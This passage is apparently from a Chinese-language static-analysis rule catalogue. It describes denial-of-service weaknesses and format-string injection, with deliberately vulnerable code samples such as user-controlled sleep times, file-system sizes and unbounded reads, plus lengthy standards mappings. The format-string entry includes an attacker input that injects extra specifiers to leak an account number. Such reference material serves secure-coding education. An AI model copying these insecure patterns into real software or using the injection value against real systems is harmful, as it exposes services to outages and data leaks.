[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。

示例 1:以下代码允许用户指定要使用的 file system 大小。通过指定一个较大的数字,攻击者可以耗尽 file system 资源。


var fsync = requestFileSystemSync(0, userInput);
示例 2:下列代码会写入一个文件。由于在用户代理将此文件视为已关闭之前,此文件可能会持续写入和重写,因此磁盘配额、IO 带宽和可能需要分析此文件内容的进程都会受到影响。


function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.javascript.denial_of_service
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.php.denial_of_service
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。

示例 1:通过以下代码,用户可以指定系统将执行进一步处理延迟多长时间。通过指定一个较大的数值,攻击者可以无限期地占用系统。


procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.sql.denial_of_service
Abstract
攻击者可能会引发程序崩溃,也可能导致合法用户无法使用。
Explanation
攻击者可能向应用程序发送大量请求,促使应用程序拒绝向合法用户提供服务,但通常可以在网络层化解大部分泛洪攻击。如果存在缺陷,情况将变得更加糟糕,攻击者通过少量请求即可引发应用程序过载。攻击者可以通过此类缺陷指定请求消耗的系统资源量或资源使用持续时间。

示例 1:以下代码允许用户为 connect 函数指定连接超时的持续时间。如果指定较大的数字,则攻击者可能会无限期地占用 connect 函数。


...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}

mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.python.denial_of_service
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。

示例 1:通过以下代码,用户可以指定线程处于休眠状态的时长。通过指定一个较大的数值,攻击者可以无限期地占用该线程。因此,只需少量的请求,攻击者就能耗尽应用程序的线程池。


Kernel.sleep(user_input)
示例 2:以下代码从一个文件中读取字符串。因为它在未指定限制的情况下使用 readline() 方法,所以它将读取无限量的输入。攻击者可能会利用这个代码使进程挂起,同时消耗越来越多的内存,甚至可能完全耗尽内存。


fd = File.new(myFile)
line = fd.readline
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.ruby.denial_of_service
Abstract
如果允许用户输入控制格式参数,则攻击者能够借此造成异常抛出或信息泄露。
Explanation
攻击者可以修改格式字符串参数,以造成异常抛出。如果未能捕获此异常,则可能导致应用程序崩溃。或者,如果其他参数中使用了敏感信息,攻击者可能会更改格式字符串以泄露此信息。

示例 1:用户可通过以下代码指定 Formatter.format() 的格式字符串参数。


...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...


此程序的最初设计旨在让用户指定所显示余额的小数点。但在现实情况中,对此并没有限制。如果用户可以指定所有内容,则可能会导致抛出如 java.util.MissingFormatArgumentException 等异常。此外,由于它不在 try 块中,因此可能会造成应用程序故障。
针对此示例,更严重的情况是:如果攻击者可以指定用户输入 "2f %3$s %4$.2",则格式字符串可能会是 "The customer: %s %s has the balance %4$.2f %3$s %4$.2"。这可能会导致敏感的 accountNo 包含在生成的字符串中。
References
[1] IDS06-J. Exclude unsanitized user input from format strings CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 134
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - OWASP Top 10 2017 A1 Injection
[13] Standards Mapping - OWASP Top 10 2021 A03 Injection
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
